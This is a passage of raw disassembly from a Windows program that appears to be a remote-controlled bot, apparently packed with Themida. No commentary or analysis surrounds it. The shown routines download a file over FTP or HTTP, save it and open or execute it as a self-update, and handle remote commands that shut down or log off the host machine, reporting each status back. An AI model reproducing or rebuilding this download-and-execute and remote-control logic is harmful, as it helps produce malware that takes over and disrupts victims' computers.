		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D5F0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D680	proc near		; CODE XREF: sub_4014B0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D680
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D680	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D720	proc near		; CODE XREF: sub_4021C6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D720
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D720	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D7E0:				; CODE XREF: ___:00401168j
					; ___:loc_4019E7j
		push	esi
		mov	esi, ecx
		call	sub_4015C3
		test	byte ptr [esp+8], 1
		jz	short loc_41D7F8
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41D7F8:				; CODE XREF: ___:0041D7EDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D810	proc near		; CODE XREF: sub_4015C3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D810
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D810	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D8E0	proc near		; CODE XREF: sub_401C80j

var_48		= dword	ptr -48h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_10C		= byte ptr  110h
arg_11C		= byte ptr  120h
arg_12C		= byte ptr  130h
arg_110C	= dword	ptr  1110h
arg_1110	= byte ptr  1114h
arg_112C	= dword	ptr  1130h
arg_1134	= dword	ptr  1138h
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041DFF8 SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43B192
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_4368E0
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_446F30
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DFE5
		lea	ebx, [esi+65h]
		push	offset byte_446F30
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DFE5
		lea	ecx, [esi+26h]
		push	offset byte_446F30
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DFE5
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D981
		push	offset byte_446F30
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D974
		push	offset byte_446F30
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D981


loc_41D974:				; CODE XREF: sub_41D8E0+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41DFED
; ---------------------------------------------------------------------------


loc_41D981:				; CODE XREF: sub_41D8E0+70j
					; sub_41D8E0+92j
		push	offset asc_443C54 ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		push	offset byte_446F30
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41DA0E
		push	offset asc_443C54 ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41DA1F


loc_41DA0E:				; CODE XREF: sub_41D8E0+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41DA1F:				; CODE XREF: sub_41D8E0+12Cj
		push	offset asc_443C54 ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FBE
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 2890000h
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015D7
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DBB4
		call	sub_401E06
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		call	sub_401A69
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DACC
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41DFC4
; ---------------------------------------------------------------------------


loc_41DACC:				; CODE XREF: sub_41D8E0+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017E4
		push	eax
		call	sub_402243
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DB23
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DFC5
; ---------------------------------------------------------------------------


loc_41DB23:				; CODE XREF: sub_41D8E0+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_4016A9
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DBA2
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DFC5
; ---------------------------------------------------------------------------


loc_41DBA2:				; CODE XREF: sub_41D8E0+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D52
		add	esp, 4
		jmp	loc_41DE2B
; ---------------------------------------------------------------------------


loc_41DBB4:				; CODE XREF: sub_41D8E0+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_401424
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_401424
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017E4
		push	eax
		call	sub_401A8C
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DC37
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D6075
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E6E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		db 90h
		db 0E8h, 7, 0BAh
; ---------------------------------------------------------------------------
		imul	esi, [ecx-17h],	0BEh


loc_41DC37:				; CODE XREF: sub_41D8E0+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+34h+arg_20]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+28h+arg_20]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+30h+arg_20]
		call	sub_4017E4
		push	eax
		push	ebx
		call	near ptr 71AB428Ah
		nop
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017E4
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DD30
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D6075
		call	sub_401118
		lea	ecx, [esp+38h+var_28]
		mov	[esp+38h+var_28], esi
		push	ecx
		mov	ecx, offset byte_4E6E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+38h+var_1C]
		mov	byte ptr [esp+38h+arg_1134], 3
		call	sub_401226
		lea	ecx, [esp+38h+arg_10]
		mov	byte ptr [esp+38h+arg_1134], 2
		call	sub_401226
		lea	ecx, [esp+38h+var_4]
		mov	[esp+38h+arg_1134], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41DFF8
; ---------------------------------------------------------------------------


loc_41DD30:				; CODE XREF: sub_41D8E0+3DBj
					; sub_41D8E0+484j ...
		mov	eax, [esp+38h+var_24]
		push	0
		lea	edx, [esp+3Ch+arg_12C]
		push	1000h
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DDA8
		cmp	ebp, 1000h
		jge	short loc_41DD60
		mov	[esp+ebp+48h+arg_11C], 0


loc_41DD60:				; CODE XREF: sub_41D8E0+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DD30


loc_41DD66:				; CODE XREF: sub_41D8E0+4A5j
		push	4
		lea	ecx, [esp+edi+4Ch+arg_11C]
		push	offset asc_443EB8 ; "\r\n\r\n"
		push	ecx
		nop
		call	near ptr 77C47A50h
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DD89
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DD66
		jmp	short loc_41DD30
; ---------------------------------------------------------------------------


loc_41DD89:				; CODE XREF: sub_41D8E0+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DDA8


loc_41DD90:				; CODE XREF: sub_41D8E0+4C6j
		movsx	edx, [esp+edi+48h+arg_11C]
		push	ebx
		push	edx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DD90


loc_41DDA8:				; CODE XREF: sub_41D8E0+46Ej
					; sub_41D8E0+4AEj ...
		mov	edi, [esp+48h+var_34]
		push	0
		lea	eax, [esp+4Ch+arg_11C]
		push	1000h
		push	eax
		push	edi
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DDF8
		cmp	ebp, 1000h
		jge	short loc_41DDD8
		mov	[esp+ebp+58h+arg_10C], 0


loc_41DDD8:				; CODE XREF: sub_41D8E0+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DDA8


loc_41DDDE:				; CODE XREF: sub_41D8E0+514j
		movsx	ecx, [esp+edi+58h+arg_10C]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DDDE
		jmp	short loc_41DDA8
; ---------------------------------------------------------------------------


loc_41DDF8:				; CODE XREF: sub_41D8E0+4E6j
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		push	edi
		call	near ptr 71AB9639h
		nop
		lea	ecx, [esp+5Ch+var_40]
		mov	[esp+5Ch+arg_1110], 3
		call	sub_401226
		lea	ecx, [esp+5Ch+var_10]
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226


loc_41DE2B:				; CODE XREF: sub_41D8E0+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DEC7
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41DFBC
		push	offset byte_446F30
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h
		jmp	loc_41DFBC
; ---------------------------------------------------------------------------


loc_41DEC7:				; CODE XREF: sub_41D8E0+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D6075
		call	sub_401848
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		lea	edx, [esp+90h+var_40]
		push	51h
		push	edx
		call	sub_4019B5
		add	esp, 3Ch
		mov	ecx, eax
		mov	[esp+5Ch+arg_1110], 5
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		call	sub_402149
		add	esp, 8
		lea	ecx, [esp+5Ch+var_40]
		mov	bl, al
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DF97
		mov	al, byte_447896
		test	al, al
		jz	short loc_41DF66
		push	offset dword_447834
		mov	ecx, offset dword_448D70
		call	sub_401447


loc_41DF66:				; CODE XREF: sub_41D8E0+675j
		mov	al, byte_4478DF
		test	al, al
		jz	short loc_41DF7E
		push	offset byte_44790F
		mov	ecx, offset dword_448D70
		call	sub_401942


loc_41DF7E:				; CODE XREF: sub_41D8E0+68Dj
		mov	ecx, offset dword_448D70
		call	sub_401E5B
		push	1
		mov	byte_4E6E44, 0
		nop
		call	near ptr 77C39E7Eh


loc_41DF97:				; CODE XREF: sub_41D8E0+66Cj
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6075
		call	sub_401118


loc_41DFBC:				; CODE XREF: sub_41D8E0+597j
					; sub_41D8E0+5E2j
		mov	[esp+60h+var_48], esi
		lea	edx, [esp+60h+var_48]


loc_41DFC4:				; CODE XREF: sub_41D8E0+1E7j
		push	edx


loc_41DFC5:				; CODE XREF: sub_41D8E0+23Ej
					; sub_41D8E0+2BDj
		mov	ecx, offset byte_4E6E9B
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_2C]
		mov	[esp+60h+arg_110C], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41DFF8
; ---------------------------------------------------------------------------


loc_41DFE5:				; CODE XREF: sub_41D8E0+36j
					; sub_41D8E0+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41DFED:				; CODE XREF: sub_41D8E0+9Cj
		push	eax
		mov	ecx, offset byte_4E6E9B
		call	sub_40120D
sub_41D8E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D8E0


loc_41DFF8:				; CODE XREF: sub_41D8E0+44Bj
					; sub_41D8E0+703j
		mov	ecx, [esp+38h+arg_112C]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D8E0
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E1F0	proc near		; CODE XREF: sub_401B90j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E1F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
sub_41E1F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 34h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E281	proc near		; DATA XREF: Themida_:0062CB21o

arg_38		= dword	ptr  3Ch

		push	esi
		mov	ecx, eax
		mov	[esp+4+arg_38],	1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401591
sub_41E281	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E370:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E3CB
		push	offset dword_443FBC
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 14h
		push	0
		push	6
		nop
		call	near ptr 29303CCh
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E3CB:				; CODE XREF: ___:0041E38Ej
		lea	ecx, [esi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E41A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 14h
		push	0
		push	5
		nop
		call	near ptr 29303CCh
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E41A:				; CODE XREF: ___:0041E3DDj
		lea	ecx, [esi+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E461
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 14h
		push	0
		push	4
		nop
		call	near ptr 29303CCh


loc_41E461:				; CODE XREF: ___:0041E42Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E4B0	proc near		; CODE XREF: sub_401F5Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E4B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
sub_41E4B0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017E4
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E710	proc near		; CODE XREF: sub_401613j

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E710
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
